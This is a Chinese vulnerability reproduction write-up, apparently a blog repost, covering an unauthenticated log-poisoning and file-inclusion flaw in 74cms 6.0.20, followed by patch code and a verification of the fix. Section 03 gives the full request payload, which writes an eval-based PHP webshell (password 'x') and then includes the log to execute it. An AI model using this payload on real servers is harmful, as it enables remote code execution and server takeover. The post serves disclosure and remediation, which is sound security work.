74cms 6.0.20版本文件包含漏洞复现

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息!

01 漏洞描述

参考资料:

https://xz.aliyun.com/t/8021

由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

下载地址:

http://www.74cms.com/download/index.html

注意

  • 骑士cms不支持php7.x,复现php环境为php5.x即可

  • 版本低于6.0.48

本文复现版本:

74cms_Home_Setup_v6.0.20.zip

图片

02 环境搭建

phpstudy2018

74cms_Home_Setup_v6.0.20.zip

注意:

php版本为5.x,暂不支持php7

 

图片

具体的搭建流程可以参考互联网,因为很简单。

03 复现流程

  1. 访问地址:

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl

图片

  1. 在安装的文件位置中已经发现了记录的错误参数,路径是  

C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home

图片

  1. 进行如下请求

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

图片

此时去看日志信息,一句话菜刀已经记录在日志里

图片

  1. 开始包含:

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log

 

图片

在根目录下写入shell.php文件,内容为一句话木马,包含成功

图片

在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x

http://10.211.55.9/74cms/shell.php

执行任意命令,发现执行成功

图片

 

图片

 

04 漏洞修复

  1. 在以下路径的169行进行修改

/Application/Common/Controller/BaseController.class.php

未修改前:

public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);

图片

加入下面这行代码:

$view = new \Think\View;

        $tpl_file = $view->parseTemplate($tpl);

        if(!is_file($tpl_file)){

            return false;

        }

// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        } // fix 20210203
		$view = new \Think\View;
        $tpl_file = $view->parseTemplate($tpl);
        if(!is_file($tpl_file)){
            return false;
        }
        return $this->fetch($tpl);
    }

图片

  1. 以下路径的文件:

/ThinkPHP/Library/Think/View.class.php
 View.class.php文件中106行fetch方法中修改

  // 将110行

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);

// 代码注释替换为

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

 

图片

 

05 修复验证

  1. 清空log文件中的内容

图片

  1. 再次写入内容

图片

写入失败,漏洞修复成功

图片

 

06 小插曲

微信公众号:乌鸦安全 

图片

扫取二维码获取更多信息!

 

 

评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值